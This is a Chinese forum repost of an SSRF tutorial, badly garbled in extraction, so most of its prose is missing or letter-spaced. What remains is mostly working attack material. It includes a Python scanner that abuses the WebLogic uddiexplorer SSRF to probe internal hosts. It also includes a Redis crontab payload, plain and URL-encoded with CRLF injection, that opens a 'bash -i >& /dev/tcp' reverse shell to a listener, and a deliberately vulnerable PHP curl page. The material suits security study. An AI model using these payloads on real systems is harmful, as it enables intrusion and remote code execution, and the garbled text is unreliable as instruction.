[18112] 2020-08-12_ssrf扫盲贴,关于测试的那些事

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2020-08-12_ssrf扫盲贴,关于测试的那些事 s s r f   L o r e n   H A C K   2 0 2 0 - 0 8 - 1 2 S S R F S s r f ( S e r v e r - S i d e   R e q u e s t   F o r g e r y : )   c s r f C r o s s - s i t e   r e q u e s t   f o r g e r y : s s r f c s r f S s r f s s r f ( S e r v e r - S i d e   R e q u e s t   F o r g e r y : ) :   S S R F 访 s s r f 访 访 I P I P I P
I P I P s s r f I P I P I P W e b l o g i c - s s r f d o c k e r w e b l o g i c - s s r f ( ) 访
S s r f u d d i e x p l o r e r / S e a r c h P u b l i c R e g i s t r i e s . j s p g e t p y t h o n 使
#   - * -   c o d i n g :   u t f - 8   - * - i m p o r t   r e i m p o r t   s y s i m p o r t   t i m e i m p o r t   t h r e a d i m p o r t   r e q u e s t s d e f   s c a n ( i p _ s t r ) :     p o r t s   =   ( ' 7 0 0 1 ' , ' 6 3 7 9 ' )     f o r   p o r t   i n   p o r t s :         e x p _ u r l   =   " h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 1 7 : 7 0 0 1 / u d d i e x p l o r e r / S e a r c h P u b l i c R e g i s t r i e s . j s p ? o p e r a t o r = h t t p : / / % s : % s & r d o S e a r c h = n a m e & t x t S e a r c h n a m e = s d f & t x t S e a r c h k e y = & t x t S e a r c h f o r = & s e l f o r = B u s i n e s s + l o c a t i o n & b t n S u b m i t = S e a r c h " % ( i p _ s t r , p o r t )         t r y :             r e s p o n s e   =   r e q u e s t s . g e t ( e x p _ u r l ,   t i m e o u t = 1 5 ,   v e r i f y = F a l s e )             # S S R F             r e _ s u l t 1   =   r e . f i n d a l l ( ' w e b l o g i c . u d d i . c l i e n t . s t r u c t u r e s . e x c e p t i o n . X M L _ S o a p E x c e p t i o n ' , r e s p o n s e . c o n t e n t )             # .             r e _ s u l t 2   =   r e . f i n d a l l ( ' b u t   c o u l d   n o t   c o n n e c t ' , r e s p o n s e . c o n t e n t )             r e _ s u l t 3   =   r e . f i n d a l l ( ' N o   r o u t e   t o   h o s t ' , r e s p o n s e . c o n t e n t )                         i f   l e n ( r e _ s u l t 1 ) ! = 0   a n d   l e n ( r e _ s u l t 2 ) = = 0   a n d   l e n ( r e _ s u l t 3 ) = = 0 :                 p r i n t   i p _ s t r + ' : ' + p o r t         e x c e p t   E x c e p t i o n ,   e :             p a s s d e f   f i n d _ i p ( i p _ p r e f i x ) :     ' ' '     1 9 2 . 1 6 8 . 1       ' ' '     f o r   i   i n   r a n g e ( 1 , 2 5 6 ) :         i p   =   ' % s . % s ' % ( i p _ p r e f i x , i )         t h r e a d . s t a r t _ n e w _ t h r e a d ( s c a n ,   ( i p , ) )         t i m e . s l e e p ( 3 ) i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " :     c o m m a n d a r g s   =   s y s . a r g v [ 1 : ] I P 6 3 7 9 r e d i s r e d i s s h e l l / e t c / c r o n t a b s e t   1   " n n n n *   *   *   *   *   r o o t   b a s h   - i   > &   / d e v / t c p / 1 7 2 . 1 9 . 0 . 1 / 2 1   0 > & 1 n n n n " c o n f i g   s e t   d i r   / e t c / c o n f i g   s e t   d b f i l e n a m e   c r o n t a b s a v e g e t u r l r n % 0 D % 0 A t e s t % 0 D % 0 A % 0 D % 0 A s e t % 2 0 1 % 2 0 % 2 2 % 5 C n % 5 C n % 5 C n % 5 C n * % 2 0 * % 2 0 * % 2 0 * % 2 0 * % 2 0 r o o t % 2 0 b a s h % 2 0 - i % 2 0 % 3 E % 2 6 % 2 0 % 2 F d e v % 2 F t c p % 2 F 1 7 2 . 1 9 . 0 . 1 % 2 F 2 1 % 2 0 0 % 3 E % 2 6 1 % 5 C n % 5 C n % 5 C n % 5 C n % 2 2 % 0 D % 0 A c o n f i g % 2 0 s e t % 2 0 d i r % 2 0 % 2 F e t c % 2 F % 0 D % 0 A c o n f i g % 2 0 s e t % 2 0 d b f i l e n a m e % 2 0 c r o n t a b % 0 D % 0 A s a v e % 0 D % 0 A % 0 D % 0 A a a a b u r p
s h e l l n c   l   p   2 1 w e b l o g i c h t t p h t t p s f i l e f t p m a i l t o j a r n e t d o c p h p s s r f j a v a s s r f
h t m l > < b o d y > < f o r m   n a m e = " p x "   m e t h o d = " p o s t "   a c t i o n = " h t t p : / / l o c a l h o s t : 8 0 8 1 / s s r f / a . p h p " > < i n p u t   t y p e = " t e x t "   n a m e = " u r l "   v a l u e = " " > < i n p u t   t y p e = " s u b m i t "   n a m e = " c o m m i t "   v a l u e = " s u b m i t " > < / f o r m > < s c r i p t > < / s c r i p t > < / b o d y > < / h t m l > p h p < ? p h p i f   ( i s s e t ( $ _ P O S T [ ' u r l ' ] ) ) { $ l i n k   =   $ _ P O S T [ ' u r l ' ] ; $ f i l e n a m e   =   ' . / c u r l e d / ' . r a n d ( ) . ' t x t ' ; $ c u r l o b j   =   c u r l _ i n i t ( $ l i n k ) ; $ f p   =   f o p e n ( $ f i l e n a m e , " w " ) ; c u r l _ s e t o p t ( $ c u r l o b j ,   C U R L O P T _ F I L E ,   $ f p ) ; c u r l _ s e t o p t ( $ c u r l o b j ,   C U R L O P T _ H E A D E R ,   0 ) ; c u r l _ e x e c ( $ c u r l o b j ) ; H t m l 访
a . p h p 访 p h p 访 访 访 s h e l l
s s r f s s r f s s r f U R L 线
访 b u r p 访 s s r f 访 访 I P I P s s r f s s r f p a y l o a d s s r f I P L o r e n           F r e e B u f : H A C K

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则